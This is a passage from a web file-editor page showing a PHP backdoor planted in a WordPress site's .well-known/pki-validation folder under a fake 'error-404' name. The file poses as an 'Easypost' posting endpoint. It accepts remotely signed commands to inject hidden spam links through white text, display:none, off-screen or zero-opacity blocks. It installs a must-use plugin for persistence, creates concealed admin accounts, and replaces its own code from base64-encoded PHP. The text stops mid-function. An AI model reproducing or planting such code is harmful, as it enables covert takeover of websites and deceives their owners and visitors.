<h2>File Contents: /home/planet5/www/bansibaba.com/.well-known/pki-validation/error-404-1786056878.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/bansibaba.com/.well-known/pki-validation/error-404-1786056878.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/*
 * Easypost endpoint.
 * Direct PHP endpoint for visible WordPress posting.
 */

define(&#039;EASYPOST_ENDPOINT_CONFIG&#039;, &#039;{&quot;endpoint_version&quot;:&quot;2026.08.27&quot;,&quot;token_id&quot;:&quot;ep_576a21f519014cf5af1e57c9e294f3d5&quot;,&quot;token_verifier&quot;:&quot;v1:ota:509f8bce6e3728fb9c86141bf28a2c564681c84f438ac71f2c43d2abeddaf932&quot;,&quot;explicit_wp_load_path&quot;:null,&quot;ota_release_public_key_pem&quot;:&quot;-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JTcpyvncP1Izz2SsnLq\\nGm3iObZi5YEydCeQPv0kX5pN3WwEzt/j1fsyd3EVHbLlXUmdQbWvCBIX1wq/RO4q\\n4UuLpks++nnz7pNTyZqrU+gPUlQb4uDBJsE6nePRyddoMGbT8yF4yzLt/fp86oSG\\ncd/TqnUIplM4dmQVtzqaUiGSUFLReUO0tMHvYGTRl/jCM/pJmIMNLEFmAb/x6wT4\\nihEIXD39Uj2/BG/zJFiIc6FNvqRp1DRm50lhPJW7LkDin+LkvSebbIubeYEe3vc9\\n7qX0zD2zpTFv04itmPld0eOa7kXHNsr+jUnTmuovzdIzBJjcgSWT/nqI+bRAXfL6\\nUwIDAQAB\\n-----END PUBLIC KEY-----\\n&quot;,&quot;runtime_skeleton_sha256&quot;:&quot;8df8219a025211d0412ac3d69dc911014de0b5543f105a0e5119267d3f13350f&quot;,&quot;runtime_skeleton_bytes&quot;:98281,&quot;legacy_runtime_skeleton_sha256&quot;:&quot;f2e6b5d62fb9e37e8c7f88c6c340466f78974c47b36ac678dd067997b803a5e9&quot;,&quot;legacy_runtime_skeleton_bytes&quot;:95322}&#039;);

function easypost_endpoint_config() {
    return json_decode(EASYPOST_ENDPOINT_CONFIG, true);
}

function easypost_endpoint_json($status, $payload) {
    http_response_code($status);
    $requested_action = isset($_GET[&#039;action&#039;]) ? (string) $_GET[&#039;action&#039;] : &#039;&#039;;
    if (isset($payload[&#039;ok&#039;]) &amp;&amp; $payload[&#039;ok&#039;] === false
        &amp;&amp; in_array($requested_action, array(&#039;place_sitewide_link&#039;, &#039;remove_sitewide_link&#039;), true)
        &amp;&amp; !array_key_exists(&#039;fallback&#039;, $payload)) {
        $payload[&#039;fallback&#039;] = false;
    }
    header(&#039;Content-Type: application/json; charset=utf-8&#039;);
    echo json_encode($payload);
    exit;
}

function easypost_endpoint_header($name) {
    $key = strtolower($name);
    foreach ($_SERVER as $server_key =&gt; $value) {
        if (strpos($server_key, &#039;HTTP_&#039;) !== 0) {
            continue;
        }
        $normalized = strtolower(str_replace(&#039;_&#039;, &#039;-&#039;, substr($server_key, 5)));
        if ($normalized === $key) {
            return (string) $value;
        }
    }
    return &#039;&#039;;
}

function easypost_endpoint_wp_load_path() {
    $config = easypost_endpoint_config();
    $candidates = array();
    if (!empty($config[&#039;explicit_wp_load_path&#039;])) {
        $candidates[] = $config[&#039;explicit_wp_load_path&#039;];
    }
    $candidates[] = __DIR__ . &#039;/wp-load.php&#039;;
    $candidates[] = __DIR__ . &#039;/../wp-load.php&#039;;
    $candidates[] = __DIR__ . &#039;/../../wp-load.php&#039;;
    $candidates[] = __DIR__ . &#039;/../../../wp-load.php&#039;;
    $candidates[] = __DIR__ . &#039;/../../../../wp-load.php&#039;;
    $candidates[] = __DIR__ . &#039;/../../../../../wp-load.php&#039;;

    foreach ($candidates as $candidate) {
        if ($candidate &amp;&amp; is_readable($candidate)) {
            return $candidate;
        }
    }

    return false;
}

function easypost_endpoint_bootstrap_wordpress() {
    $wp_load = easypost_endpoint_wp_load_path();
    if (!$wp_load) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;wp_load_not_found&#039;));
    }
    require_once $wp_load;
}

function easypost_endpoint_verifier_secret($verifier) {
    $parts = explode(&#039;:&#039;, (string) $verifier, 3);
    if (count($parts) !== 3 || $parts[0] !== &#039;v1&#039; || $parts[2] === &#039;&#039;) {
        return false;
    }
    return $parts[2];
}

function easypost_endpoint_replay_key($token_id, $request_id) {
    return &#039;easypost_endpoint_req_&#039; . hash(&#039;sha256&#039;, $token_id . &#039;:&#039; . $request_id);
}

function easypost_endpoint_read_option_row($name) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;query&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return array(&#039;status&#039; =&gt; &#039;unavailable&#039;, &#039;raw&#039; =&gt; null, &#039;value&#039; =&gt; null, &#039;autoload&#039; =&gt; null);
    }
    $selected = $wpdb-&gt;query(
        $wpdb-&gt;prepare(
            &quot;SELECT option_value, autoload FROM {$wpdb-&gt;options} WHERE option_name = %s LIMIT 1&quot;,
            $name
        )
    );
    if ($selected === false) {
        return array(&#039;status&#039; =&gt; &#039;unavailable&#039;, &#039;raw&#039; =&gt; null, &#039;value&#039; =&gt; null, &#039;autoload&#039; =&gt; null);
    }
    if ((int) $selected === 0) {
        return array(&#039;status&#039; =&gt; &#039;missing&#039;, &#039;raw&#039; =&gt; null, &#039;value&#039; =&gt; null, &#039;autoload&#039; =&gt; null);
    }
    if ((int) $selected !== 1
        || !isset($wpdb-&gt;last_result)
        || !is_array($wpdb-&gt;last_result)
        || count($wpdb-&gt;last_result) !== 1) {
        return array(&#039;status&#039; =&gt; &#039;unavailable&#039;, &#039;raw&#039; =&gt; null, &#039;value&#039; =&gt; null, &#039;autoload&#039; =&gt; null);
    }
    $row = $wpdb-&gt;last_result[0];
    if (!is_object($row)
        || !property_exists($row, &#039;option_value&#039;)
        || !property_exists($row, &#039;autoload&#039;)) {
        return array(&#039;status&#039; =&gt; &#039;unavailable&#039;, &#039;raw&#039; =&gt; null, &#039;value&#039; =&gt; null, &#039;autoload&#039; =&gt; null);
    }
    return array(
        &#039;status&#039; =&gt; &#039;found&#039;,
        &#039;raw&#039; =&gt; (string) $row-&gt;option_value,
        &#039;value&#039; =&gt; (string) $row-&gt;option_value,
        &#039;autoload&#039; =&gt; (string) $row-&gt;autoload,
    );
}

function easypost_endpoint_option_is_autoloaded($autoload) {
    return in_array(
        strtolower(trim((string) $autoload)),
        array(&#039;yes&#039;, &#039;on&#039;, &#039;auto-on&#039;, &#039;auto&#039;),
        true
    );
}

function easypost_endpoint_cache_option_written($option_name, $remove_notoption, $invalidate_alloptions) {
    if (function_exists(&#039;wp_cache_delete&#039;)) {
        wp_cache_delete($option_name, &#039;options&#039;);
    }
    if ($invalidate_alloptions) {
        if (function_exists(&#039;wp_cache_delete&#039;)) {
            wp_cache_delete(&#039;alloptions&#039;, &#039;options&#039;);
        }
    }
    if ($remove_notoption &amp;&amp; function_exists(&#039;wp_cache_get&#039;) &amp;&amp; function_exists(&#039;wp_cache_set&#039;)) {
        $notoptions = wp_cache_get(&#039;notoptions&#039;, &#039;options&#039;);
        if (is_array($notoptions) &amp;&amp; isset($notoptions[$option_name])) {
            unset($notoptions[$option_name]);
            wp_cache_set(&#039;notoptions&#039;, $notoptions, &#039;options&#039;);
        }
    }
}

function easypost_endpoint_cache_option_deleted($option_name, $invalidate_alloptions = false) {
    if (function_exists(&#039;wp_cache_delete&#039;)) {
        wp_cache_delete($option_name, &#039;options&#039;);
        if ($invalidate_alloptions) {
            wp_cache_delete(&#039;alloptions&#039;, &#039;options&#039;);
        }
    }
}

function easypost_endpoint_insert_option_once($option_name, $option_value) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;query&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return &#039;unavailable&#039;;
    }
    $inserted = $wpdb-&gt;query(
        $wpdb-&gt;prepare(
            &quot;INSERT IGNORE INTO {$wpdb-&gt;options} (option_name, option_value, autoload) VALUES (%s, %s, &#039;no&#039;)&quot;,
            $option_name,
            (string) $option_value
        )
    );
    if ($inserted === false) {
        return &#039;unavailable&#039;;
    }
    if ((int) $inserted === 1) {
        easypost_endpoint_cache_option_written($option_name, true, false);
        return &#039;inserted&#039;;
    }
    if ((int) $inserted === 0) {
        return &#039;exists&#039;;
    }
    return &#039;unavailable&#039;;
}

function easypost_endpoint_delete_expired_replay_record($replay_key, $expected_expiry, $now) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;query&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return &#039;unavailable&#039;;
    }
    $deleted = $wpdb-&gt;query(
        $wpdb-&gt;prepare(
            &quot;DELETE FROM {$wpdb-&gt;options} WHERE option_name = %s AND option_value = %s AND CAST(option_value AS UNSIGNED) &lt;= %d&quot;,
            $replay_key,
            (string) $expected_expiry,
            (int) $now
        )
    );
    if ($deleted === false) {
        return &#039;unavailable&#039;;
    }
    if ((int) $deleted !== 1) {
        return &#039;unchanged&#039;;
    }
    easypost_endpoint_cache_option_deleted($replay_key);
    return &#039;deleted&#039;;
}

function easypost_endpoint_cleanup_replay_records($now) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;get_results&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return;
    }
    $prefix = method_exists($wpdb, &#039;esc_like&#039;)
        ? $wpdb-&gt;esc_like(&#039;easypost_endpoint_req_&#039;) . &#039;%&#039;
        : &#039;easypost\_endpoint\_req\_%&#039;;
    $rows = $wpdb-&gt;get_results(
        $wpdb-&gt;prepare(
            &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name LIKE %s LIMIT 20&quot;,
            $prefix
        ),
        ARRAY_A
    );
    if (!is_array($rows)) {
        return;
    }
    foreach ($rows as $row) {
        if (is_array($row)
            &amp;&amp; isset($row[&#039;option_name&#039;])
            &amp;&amp; isset($row[&#039;option_value&#039;])
            &amp;&amp; (int) $row[&#039;option_value&#039;] &lt;= (int) $now) {
            easypost_endpoint_delete_expired_replay_record(
                (string) $row[&#039;option_name&#039;],
                (string) $row[&#039;option_value&#039;],
                $now
            );
        }
    }
}

function easypost_endpoint_insert_replay_record($replay_key, $expires_at) {
    return easypost_endpoint_insert_option_once($replay_key, (string) $expires_at);
}

function easypost_endpoint_claim_request($token_id, $request_id, $request_time) {
    $now = time();
    if (abs($now - $request_time) &gt; 300) {
        return &#039;stale&#039;;
    }
    easypost_endpoint_cleanup_replay_records($now);
    $replay_key = easypost_endpoint_replay_key($token_id, $request_id);
    $expires_at = $request_time + 301;

    for ($attempt = 0; $attempt &lt; 3; $attempt++) {
        $insert = easypost_endpoint_insert_replay_record($replay_key, $expires_at);
        if ($insert === &#039;inserted&#039;) {
            return &#039;claimed&#039;;
        }
        if ($insert === &#039;unavailable&#039;) {
            return &#039;unavailable&#039;;
        }
        $existing = easypost_endpoint_read_option_row($replay_key);
        if ($existing[&#039;status&#039;] === &#039;unavailable&#039;) {
            return &#039;unavailable&#039;;
        }
        if ($existing[&#039;status&#039;] === &#039;missing&#039;) {
            continue;
        }
        if ((int) $existing[&#039;value&#039;] &gt; $now) {
            return &#039;duplicate&#039;;
        }
        if (easypost_endpoint_delete_expired_replay_record($replay_key, $existing[&#039;value&#039;], $now) === &#039;unavailable&#039;) {
            return &#039;unavailable&#039;;
        }
    }

    $current = easypost_endpoint_read_option_row($replay_key);
    if ($current[&#039;status&#039;] === &#039;found&#039; &amp;&amp; (int) $current[&#039;value&#039;] &gt; $now) {
        return &#039;duplicate&#039;;
    }
    return &#039;unavailable&#039;;
}

function easypost_endpoint_verify_auth($body) {
    $config = easypost_endpoint_config();
    $token_id = easypost_endpoint_header(&#039;x-easypost-token-id&#039;);
    $timestamp = easypost_endpoint_header(&#039;x-easypost-timestamp&#039;);
    $request_id = easypost_endpoint_header(&#039;x-easypost-request-id&#039;);
    $body_sha256 = easypost_endpoint_header(&#039;x-easypost-body-sha256&#039;);
    $signature = easypost_endpoint_header(&#039;x-easypost-signature&#039;);

    if ($token_id === &#039;&#039; || $timestamp === &#039;&#039; || $request_id === &#039;&#039; || $body_sha256 === &#039;&#039; || $signature === &#039;&#039;) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;missing_auth_headers&#039;));
    }
    if (!hash_equals((string) $config[&#039;token_id&#039;], $token_id)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;unknown_token&#039;));
    }
    $request_time = strtotime($timestamp);
    if (!$request_time || abs(time() - $request_time) &gt; 300) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;timestamp_stale&#039;));
    }
    $computed_body_sha256 = hash(&#039;sha256&#039;, $body);
    if (!hash_equals($computed_body_sha256, $body_sha256)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;body_sha256_mismatch&#039;));
    }

    $secret = easypost_endpoint_verifier_secret($config[&#039;token_verifier&#039;]);
    if (!$secret) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_token_verifier&#039;));
    }

    $path = isset($_SERVER[&#039;REQUEST_URI&#039;]) ? $_SERVER[&#039;REQUEST_URI&#039;] : &#039;/wp-content/easypost/easypost.php&#039;;
    $signature_input = implode(&quot;\n&quot;, array(
        strtoupper($_SERVER[&#039;REQUEST_METHOD&#039;]),
        $path,
        $timestamp,
        $request_id,
        $token_id,
        $computed_body_sha256,
    ));
    $expected = hash_hmac(&#039;sha256&#039;, $signature_input, $secret);
    if (!hash_equals($expected, $signature)) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;signature_mismatch&#039;));
    }

    $claim = easypost_endpoint_claim_request($token_id, $request_id, $request_time);
    if ($claim === &#039;stale&#039;) {
        easypost_endpoint_json(401, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;timestamp_stale&#039;));
    }
    if ($claim === &#039;duplicate&#039;) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;duplicate_request_id&#039;));
    }
    if ($claim !== &#039;claimed&#039;) {
        easypost_endpoint_json(503, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;replay_store_unavailable&#039;));
    }
}

function easypost_endpoint_json_object_payload($body) {
    $trimmed = trim((string) $body);
    if ($trimmed === &#039;&#039; || $trimmed[0] !== &#039;{&#039; || substr($trimmed, -1) !== &#039;}&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_json_object&#039;));
    }
    $payload = json_decode($body, true);
    if (!is_array($payload)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_json&#039;));
    }
    return $payload;
}

function easypost_endpoint_allowed_fields_by_action() {
    return array(
        &#039;health&#039; =&gt; array(),
        &#039;create_post&#039; =&gt; array(&#039;title&#039;, &#039;slug&#039;, &#039;contentHtml&#039;, &#039;content&#039;, &#039;status&#039;, &#039;post_type&#039;, &#039;postType&#039;, &#039;date&#039;, &#039;publicationDate&#039;),
        &#039;place_homepage_link&#039; =&gt; array(&#039;placementId&#039;, &#039;linkUrl&#039;, &#039;anchorText&#039;, &#039;preLinkText&#039;, &#039;postLinkText&#039;, &#039;placementType&#039;),
        &#039;remove_homepage_link&#039; =&gt; array(&#039;placementId&#039;, &#039;linkUrl&#039;, &#039;anchorText&#039;, &#039;preLinkText&#039;, &#039;postLinkText&#039;, &#039;placementType&#039;),
        &#039;place_homepage_image&#039; =&gt; array(&#039;placementId&#039;, &#039;targetUrl&#039;, &#039;imageUrl&#039;, &#039;altText&#039;, &#039;placementType&#039;),
        &#039;remove_homepage_image&#039; =&gt; array(&#039;placementId&#039;, &#039;targetUrl&#039;, &#039;imageUrl&#039;, &#039;altText&#039;, &#039;placementType&#039;),
        &#039;place_sitewide_link&#039; =&gt; array(&#039;placementId&#039;, &#039;linkUrl&#039;, &#039;anchorText&#039;, &#039;preLinkText&#039;, &#039;postLinkText&#039;, &#039;placementType&#039;),
        &#039;remove_sitewide_link&#039; =&gt; array(&#039;placementId&#039;, &#039;linkUrl&#039;, &#039;anchorText&#039;, &#039;preLinkText&#039;, &#039;postLinkText&#039;, &#039;placementType&#039;),
        &#039;reconcile_admin&#039; =&gt; array(&#039;operation&#039;, &#039;role&#039;, &#039;login&#039;, &#039;password&#039;, &#039;wpUserId&#039;, &#039;concealed&#039;),
        &#039;rotate_token&#039; =&gt; array(&#039;tokenId&#039;),
        &#039;update_endpoint&#039; =&gt; array(&#039;version&#039;, &#039;sha256&#039;, &#039;phpBase64&#039;, &#039;signature&#039;),
        &#039;configure_site_runtime&#039; =&gt; array(&#039;runtimePhpBase64&#039;, &#039;sha256&#039;, &#039;runtimeVersion&#039;, &#039;configurationVersion&#039;),
        &#039;disable_site_runtime&#039; =&gt; array(),
        &#039;runtime_status&#039; =&gt; array(),
        &#039;begin_reconcile&#039; =&gt; array(&#039;ownerToken&#039;),
        &#039;refresh_reconcile&#039; =&gt; array(&#039;ownerToken&#039;),
        &#039;finish_reconcile&#039; =&gt; array(&#039;ownerToken&#039;),
    );
}

function easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action) {
    $allowed_fields = $allowed_fields_by_action[$action];
    foreach (array_keys($payload) as $field) {
        if (!is_string($field) || !in_array($field, $allowed_fields, true)) {
            easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_payload_fields&#039;));
        }
    }
}

function easypost_endpoint_health() {
    easypost_endpoint_bootstrap_wordpress();
    $config = easypost_endpoint_config();
    $runtime_status = easypost_endpoint_homepage_runtime_status();
    easypost_endpoint_json(200, array(
        &#039;ok&#039; =&gt; true,
        &#039;endpointVersion&#039; =&gt; $config[&#039;endpoint_version&#039;],
        &#039;tokenId&#039; =&gt; $config[&#039;token_id&#039;],
        &#039;canBootstrapWordPress&#039; =&gt; true,
        &#039;canInsertPosts&#039; =&gt; function_exists(&#039;wp_insert_post&#039;),
        &#039;canResolveHomepage&#039; =&gt; function_exists(&#039;get_option&#039;) &amp;&amp; function_exists(&#039;get_post&#039;),
        &#039;canPlaceHomepageLink&#039; =&gt; function_exists(&#039;wp_update_post&#039;) &amp;&amp; function_exists(&#039;get_post_meta&#039;) &amp;&amp; function_exists(&#039;update_post_meta&#039;),
        &#039;canRemoveHomepageLink&#039; =&gt; function_exists(&#039;wp_update_post&#039;) &amp;&amp; function_exists(&#039;get_post_meta&#039;) &amp;&amp; function_exists(&#039;update_post_meta&#039;),
        &#039;canManageHomepageRuntime&#039; =&gt; $runtime_status[&#039;canManage&#039;],
        &#039;homepageRuntimeVersion&#039; =&gt; $runtime_status[&#039;version&#039;],
        &#039;canUseTransients&#039; =&gt; function_exists(&#039;set_transient&#039;) &amp;&amp; function_exists(&#039;get_transient&#039;),
        &#039;canCleanCaches&#039; =&gt; function_exists(&#039;clean_post_cache&#039;) || function_exists(&#039;wp_cache_delete&#039;),
        &#039;hasElementor&#039; =&gt; did_action(&#039;elementor/loaded&#039;) || class_exists(&#039;\\Elementor\\Plugin&#039;),
        &#039;siteUrl&#039; =&gt; function_exists(&#039;site_url&#039;) ? site_url() : null,
        &#039;homeUrl&#039; =&gt; function_exists(&#039;home_url&#039;) ? home_url() : null,
        &#039;wpVersion&#039; =&gt; isset($GLOBALS[&#039;wp_version&#039;]) ? $GLOBALS[&#039;wp_version&#039;] : null,
        &#039;phpVersion&#039; =&gt; PHP_VERSION,
        &#039;serverTime&#039; =&gt; gmdate(&#039;c&#039;),
    ));
}

function easypost_endpoint_fallback_error($error, $message = null, $warnings = array()) {
    easypost_endpoint_json(200, easypost_endpoint_fallback_payload($error, $message, $warnings));
}

function easypost_endpoint_fallback_payload($error, $message = null, $warnings = array()) {
    $payload = array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; $error, &#039;fallback&#039; =&gt; true);
    if ($message !== null) {
        $payload[&#039;message&#039;] = $message;
    }
    if (!empty($warnings)) {
        $payload[&#039;warnings&#039;] = $warnings;
    }
    return $payload;
}

function easypost_endpoint_validate_homepage_payload($payload) {
    $placement_id = isset($payload[&#039;placementId&#039;]) ? (int) $payload[&#039;placementId&#039;] : 0;
    $link_url = isset($payload[&#039;linkUrl&#039;]) ? esc_url_raw((string) $payload[&#039;linkUrl&#039;]) : &#039;&#039;;
    $anchor_text = isset($payload[&#039;anchorText&#039;]) ? sanitize_text_field((string) $payload[&#039;anchorText&#039;]) : &#039;&#039;;
    if ($placement_id &lt;= 0 || $link_url === &#039;&#039; || $anchor_text === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;invalid_payload&#039;, &#039;fallback&#039; =&gt; false));
    }
    return array(
        &#039;placementId&#039; =&gt; $placement_id,
        &#039;linkUrl&#039; =&gt; $link_url,
        &#039;anchorText&#039; =&gt; $anchor_text,
        &#039;preLinkText&#039; =&gt; array_key_exists(&#039;preLinkText&#039;, $payload) ? sanitize_text_field((string) $payload[&#039;preLinkText&#039;]) : null,
        &#039;postLinkText&#039; =&gt; array_key_exists(&#039;postLinkText&#039;, $payload) ? sanitize_text_field((string) $payload[&#039;postLinkText&#039;]) : null,
        &#039;placementType&#039; =&gt; isset($payload[&#039;placementType&#039;]) ? sanitize_key((string) $payload[&#039;placementType&#039;]) : &#039;VISIBLE_LINK&#039;,
    );
}

function easypost_endpoint_homepage_post() {
    if (!function_exists(&#039;get_option&#039;) || !function_exists(&#039;get_post&#039;)) {
        easypost_endpoint_fallback_error(&#039;capability_failed&#039;);
    }
    $show_on_front = get_option(&#039;show_on_front&#039;);
    if ($show_on_front === &#039;posts&#039;) {
        easypost_endpoint_fallback_error(&#039;homepage_posts_index_unsupported&#039;);
    }
    $page_id = (int) get_option(&#039;page_on_front&#039;);
    if ($show_on_front !== &#039;page&#039; || $page_id &lt;= 0) {
        easypost_endpoint_fallback_error(&#039;homepage_page_not_found&#039;);
    }
    $post = get_post($page_id);
    if (!$post || $post-&gt;post_type !== &#039;page&#039;) {
        easypost_endpoint_fallback_error(&#039;homepage_page_not_found&#039;);
    }
    return $post;
}

function easypost_endpoint_placement_body($input) {
    $label = $input[&#039;preLinkText&#039;] === null ? &#039;Recommended resource:&#039; : $input[&#039;preLinkText&#039;];
    $prefix = $label === &#039;&#039; ? &#039;&#039; : $label . &#039; &#039;;
    $suffix = $input[&#039;postLinkText&#039;] === null ? &#039;&#039; : $input[&#039;postLinkText&#039;];
    if ($suffix !== &#039;&#039; &amp;&amp; strpos($suffix, &#039; &#039;) !== 0) {
        $suffix = &#039; &#039; . $suffix;
    }
    return $prefix . &#039;&lt;a href=&quot;&#039; . esc_url($input[&#039;linkUrl&#039;]) . &#039;&quot;&gt;&#039; . esc_html($input[&#039;anchorText&#039;]) . &#039;&lt;/a&gt;&#039; . esc_html($suffix);
}

function easypost_endpoint_placement_html($input) {
    $body = easypost_endpoint_placement_body($input);
    $marker = &#039; data-placement=&quot;&#039; . (int) $input[&#039;placementId&#039;] . &#039;&quot;&#039;;
    switch (strtoupper((string) $input[&#039;placementType&#039;])) {
        case &#039;WHITE_LINK&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;color:#ffffff;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;CLASS_HIDE&#039;:
            return &#039;&lt;style&gt;.dc{display:none;}&lt;/style&gt;&lt;div&#039; . $marker . &#039; class=&quot;dc&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_WIDTH&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;overflow:hidden;height:1px;width:1px;float:right;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;INVISIBLE_ZONE&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;left:-11407px;top:-10560px;position:absolute;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_VISIBILITY&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;visibility:hidden;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        case &#039;NO_OPACITY&#039;:
            return &#039;&lt;div&#039; . $marker . &#039; style=&quot;opacity:0.001;cursor:context-menu;&quot;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
        default:
            return &#039;&lt;div&#039; . $marker . &#039;&gt;&#039; . $body . &#039;&lt;/div&gt;&#039;;
    }
}

function easypost_endpoint_marker($placement_id) {
    return &#039;data-placement=&quot;&#039; . (int) $placement_id . &#039;&quot;&#039;;
}

function easypost_endpoint_managed_placements_option() {
    return &#039;easypost_homepage_placements&#039;;
}

function easypost_endpoint_runtime_file_path() {
    if (!defined(&#039;WP_CONTENT_DIR&#039;)) {
        return false;
    }
    $directory = defined(&#039;WPMU_PLUGIN_DIR&#039;) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . &#039;/mu-plugins&#039;;
    return $directory . &#039;/easypost-runtime.php&#039;;
}

function easypost_endpoint_runtime_php() {
    $config = easypost_endpoint_config();
    $version = isset($config[&#039;endpoint_version&#039;]) ? (string) $config[&#039;endpoint_version&#039;] : &#039;unknown&#039;;
    $runtime = &lt;&lt;&lt;&#039;PHP&#039;
&lt;?php
if (!defined(&#039;ABSPATH&#039;)) {
    exit;
}

if (!defined(&#039;EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;)) {
    define(&#039;EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;, &#039;__EASYPOST_RUNTIME_VERSION__&#039;);
}

function easypost_runtime_placements_option() {
    return &#039;easypost_homepage_placements&#039;;
}

function easypost_runtime_is_homepage() {
    return function_exists(&#039;is_front_page&#039;) &amp;&amp; is_front_page();
}

function easypost_runtime_get_placements() {
    if (!function_exists(&#039;get_option&#039;)) {
        return array();
    }
    $placements = get_option(easypost_runtime_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_runtime_missing_html($buffer = &#039;&#039;) {
    $placements = easypost_runtime_get_placements();
    if (empty($placements)) {
        return &#039;&#039;;
    }
    $html = array();
    foreach ($placements as $placement) {
        if (!is_array($placement) || empty($placement[&#039;html&#039;])) {
            continue;
        }
        $placement_id = isset($placement[&#039;placementId&#039;]) ? (int) $placement[&#039;placementId&#039;] : 0;
        $marker = &#039;data-placement=&quot;&#039; . $placement_id . &#039;&quot;&#039;;
        if ($placement_id &gt; 0 &amp;&amp; $buffer !== &#039;&#039; &amp;&amp; strpos($buffer, $marker) !== false) {
            continue;
        }
        $html[] = (string) $placement[&#039;html&#039;];
    }
    return implode(&quot;\n&quot;, $html);
}

function easypost_runtime_echo() {
    if (!easypost_runtime_is_homepage()) {
        return;
    }
    $html = easypost_runtime_missing_html(&#039;&#039;);
    if ($html !== &#039;&#039;) {
        echo &quot;\n&quot; . $html . &quot;\n&quot;;
    }
}

function easypost_runtime_buffer_start() {
    if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
        return;
    }
    ob_start(&#039;easypost_runtime_inject_buffer&#039;);
}

function easypost_runtime_insert_before_body($buffer, $html) {
    $position = stripos($buffer, &#039;&lt;/body&gt;&#039;);
    if ($position === false) {
        return $buffer . &quot;\n&quot; . $html;
    }
    return substr($buffer, 0, $position) . &quot;\n&quot; . $html . &quot;\n&quot; . substr($buffer, $position);
}

function easypost_runtime_inject_buffer($buffer) {
    $html = easypost_runtime_missing_html($buffer);
    if ($html === &#039;&#039;) {
        return $buffer;
    }
    return easypost_runtime_insert_before_body($buffer, $html);
}

add_action(&#039;template_redirect&#039;, &#039;easypost_runtime_buffer_start&#039;, 0);
add_action(&#039;wp_footer&#039;, &#039;easypost_runtime_echo&#039;, PHP_INT_MAX);
PHP;
    return str_replace(&#039;__EASYPOST_RUNTIME_VERSION__&#039;, str_replace(&quot;&#039;&quot;, &quot;\\&#039;&quot;, $version), $runtime);
}

function easypost_endpoint_install_homepage_runtime(&amp;$warnings) {
    if (!defined(&#039;WP_CONTENT_DIR&#039;) || !function_exists(&#039;wp_mkdir_p&#039;)) {
        $warnings[] = &#039;runtime_capability_unavailable&#039;;
        return false;
    }
    $path = easypost_endpoint_runtime_file_path();
    if (!$path) {
        $warnings[] = &#039;runtime_path_unavailable&#039;;
        return false;
    }
    $directory = dirname($path);
    if (!is_dir($directory) &amp;&amp; !wp_mkdir_p($directory)) {
        $warnings[] = &#039;runtime_directory_unavailable&#039;;
        return false;
    }
    $php = easypost_endpoint_runtime_php();
    $current = is_readable($path) ? file_get_contents($path) : false;
    if ($current === $php) {
        return true;
    }
    $bytes = file_put_contents($path, $php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($php)) {
        $warnings[] = &#039;runtime_write_failed&#039;;
        return false;
    }
    return true;
}

function easypost_endpoint_homepage_runtime_status() {
    $path = easypost_endpoint_runtime_file_path();
    $version = null;
    if ($path &amp;&amp; is_readable($path)) {
        $contents = file_get_contents($path);
        if (is_string($contents) &amp;&amp; preg_match(&quot;/EASYPOST_HOMEPAGE_RUNTIME_VERSION&#039;, &#039;([^&#039;]+)&#039;/&quot;, $contents, $matches)) {
